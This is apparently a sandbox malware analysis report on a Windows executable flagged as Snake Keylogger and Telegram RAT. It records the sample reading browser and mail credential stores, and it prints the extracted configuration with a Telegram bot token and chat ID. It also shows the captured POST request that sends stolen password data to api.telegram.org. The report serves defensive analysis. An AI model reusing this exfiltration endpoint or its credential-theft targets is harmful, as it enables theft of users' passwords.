Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 2.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.4165208883.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4166196575.00000000029C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4166196575.0000000002920000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4166196575.00000000029F7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1710598493.00000000048EE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4166196575.0000000002761000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe PID: 2828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe PID: 7184, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe PID: 7184, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 2.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.4165208883.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4166196575.00000000029C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4166196575.0000000002920000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4166196575.00000000029F7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1710598493.00000000048EE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4166196575.0000000002761000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe PID: 2828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe PID: 7184, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe PID: 7184, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Source: 00000002.00000002.4165208883.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Telegram URL": "https://api.telegram.org/bot7572469755:AAHCBLe3bEv-r8VSlR3NztVSSHz6JBpCC7s/sendMessage?chat_id=7207594974", "Token": "7572469755:AAHCBLe3bEv-r8VSlR3NztVSSHz6JBpCC7s", "Chat_id": "7207594974", "Version": "5.1"}
Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.7184.2.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7572469755:AAHCBLe3bEv-r8VSlR3NztVSSHz6JBpCC7s/sendMessage"}

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:49756 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.4:49756 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7572469755:AAHCBLe3bEv-r8VSlR3NztVSSHz6JBpCC7s/sendDocument?chat_id=7207594974&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd5132f24c205aHost: api.telegram.orgContent-Length: 569Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Virustotal: Detection: 37%			Perma Link
Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	ReversingLabs: Detection: 27%

Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack	String decryptor:
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack	String decryptor: 7572469755:AAHCBLe3bEv-r8VSlR3NztVSSHz6JBpCC7s
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack	String decryptor: 7207594974
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack	String decryptor:
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack	String decryptor: 7572469755:AAHCBLe3bEv-r8VSlR3NztVSSHz6JBpCC7s
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack	String decryptor: 7207594974
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack	String decryptor:
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack	String decryptor: 7572469755:AAHCBLe3bEv-r8VSlR3NztVSSHz6JBpCC7s
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack	String decryptor: 7207594974

Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:49735 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:49750 version: TLS 1.0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then jmp 00DDF1F6h	2_2_00DDF007
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then jmp 00DDFB80h	2_2_00DDF007
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	2_2_00DDE528
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	2_2_00DDEB5B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	2_2_00DDED3C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then jmp 065802E9h	2_2_06580040
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then jmp 06587C4Dh	2_2_06587910
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then jmp 06584A91h	2_2_065847E8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then jmp 06586A59h	2_2_065867B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then jmp 06584EE9h	2_2_06584C40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then jmp 06586EB1h	2_2_06586C08
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then jmp 06585799h	2_2_065854F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then jmp 06580741h	2_2_06580498
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then jmp 06587761h	2_2_065874B8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then jmp 06580FF1h	2_2_06580D48
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then jmp 06586049h	2_2_06585DA0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then jmp 065864CBh	2_2_06586220
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then jmp 06584611h	2_2_06584368
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then jmp 06587309h	2_2_06587060
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then jmp 06580B99h	2_2_065808F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then jmp 06585341h	2_2_06585098
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 4x nop then jmp 06585BF1h	2_2_06585948

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49738 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49741 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49734 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49744 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49746 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49736 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49748 -> 104.21.80.1:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe